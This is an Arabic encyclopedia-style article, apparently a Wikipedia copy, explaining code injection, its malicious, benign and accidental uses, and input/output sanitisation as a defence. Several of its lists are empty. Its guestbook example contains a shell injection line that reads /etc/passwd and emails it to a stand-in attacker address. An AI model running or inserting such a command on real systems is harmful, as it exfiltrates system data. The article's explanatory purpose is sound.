الرئيسيةبحث

برمجة بالحقن

البرمجة بالحقن (Code Injection) هي إحدى الطرق لإيصال أو حقن الجمل البرمجية إلى برنامج أو نظام ما، مستفيداً من الافتراضات الخاطئة وغير المراقبة، التي يفترضها النظام متعلقاً بالإدخال الذي يتم لهذا النظام. السبب الرئيسي للبرمجة بالحقن هو تجنب أو تعديل الوظيفة الأساسية للبرنامج، للوصول إلى ما يحتاجه المخترق، وإذا كانت الوظيفة هي حفظ أمان النظام، فإن النتائج ستكون كارثية.

فهرس

مثال بسيط على البرمجة بالحقن

معظم خادمات الويب تحتوي على "دفتر الزوار" لكتابة بعض الملاحظات، وهو ما يستقبل عادة رسائل صغيرة من المستخدمين، والتي من المكن أن تكون: "لقد زرت الموقع .. وكان رائعاً جداً" .. ولكن المخترق ومن خلال هذه التقنية يستطيع أن يصل إلى معلومات ما على الجهاز الخادم، وذلك بإضافته لبعض الجمل البرمجية في هذه المساحة، والتي من الممكن أن تكون هذه الجملة :

; cat /etc/passwd | email attacker@example.com #

والتي من خلالها سيبعث جهاز الخادم بالملف المدعو (passwd) إلى بريد المخترق، مزودةً بجميع كلمات السر الموجودة عند الجهاز الخادم، وهو ما سيُحدث مشاكل كثيرة لزائري هذا الموقع. أغلب هذا المشاكل تحدث مرتبطة بالافتراضات الخاطئة – كما ذكرنا سابقاً- عن الإدخالات المحتملة للنظام، أو تأثير بعض البيانات على هذا النظام. وبعض الأمثلة على هذه الافتراضات التي يقوم مطور النظام عند الإدخال للبرنامج هي:

استخدامات البرمجة بالحقن

الاستخدام المتعمد

أغراض تخريبية (Malevolent)

الاستخدام الأساسي لهذه التقنية عادة ما يكون تخريبياً، فقد تستخدم البرمجة بالحقن في أوساط الأنظمة التخريبية أو التدميرية للحصول على معلومات أو امتيازات محددة أو الدخول للأماكن غير المسموح بها في أنظمة معينة. كما يمكن أن تستخدم البرمجة بالحقن تخريبياً للوصول إلى:

أغراض غير تخريبية (Benevolent)

يمكن أن تستخدم هذا التقنية لأغراض خيرة، كأن يحاول مستخدم ما تعديل البرنامج وإضافة بعض الجمل إليه لتحسين أدائه وفعاليته، وخلال هذا الفعل فهو يساعد هذا النظام على تحسين نفسه بدون إيذاء أحد. ومن الأمثلة على ذلك إضافة عمود إلى صفحة نتائج البحث لم يكن موجوداً قبلاَ، ولكنه بذلك يوفر الكثير من الوقت والعمل. أو تنظيم البيانات أو تحسينها أو جمعها عبر حقل جديد لا يظهر علناً على الموقع. ويلجأ المستخدم عادةً لهذه التقنية لأحد الأسباب التالية:

ولكن هذا الاستخدام لهذه التقنية مستنكر بشكل شديد في أوساط المبرمجين عامة، وما يزال يدعى بالاختراق أو الهجوم. لكن بعض البرمجيات تسمح أو حتى تحفز هذا النوع من البرمجة بالحقن لتحسين منتجاتهم، ويعزى هذا عادةً لكون هذه الطريقة هي أقل كلفة لتحسين المنتج بدلاً من شراء منتجات أخرى جديدة. وبشكل عام يبقى هذا الاستخدام لهذه التقنية غير مشجع.

استخدام غير متعمد

يمكن لبعض المستخدمين العاديين القيام بالبرمجة بالحقن بدون علمهم، من خلال قيامهم بإدخال بيانات لم يتم اعتبارها ممكنة الاستخدام من قبل مستخدمين عاديين من قِبل الذي طوروا النظام من البداية. فمثلاً:

بعض أنواع البرمجة بالحقن

الحد من مشكلة البرمجة بالحقن

للحد من البرمجة بالحقن، يتم إرفاق ما يدعى "معالجة آمنة لنظم الإدخال والإخراج" (Secure input and output handling )، التي تراقب كل ما يتم إدخاله إلى النظام وكل ما ينتج عنه.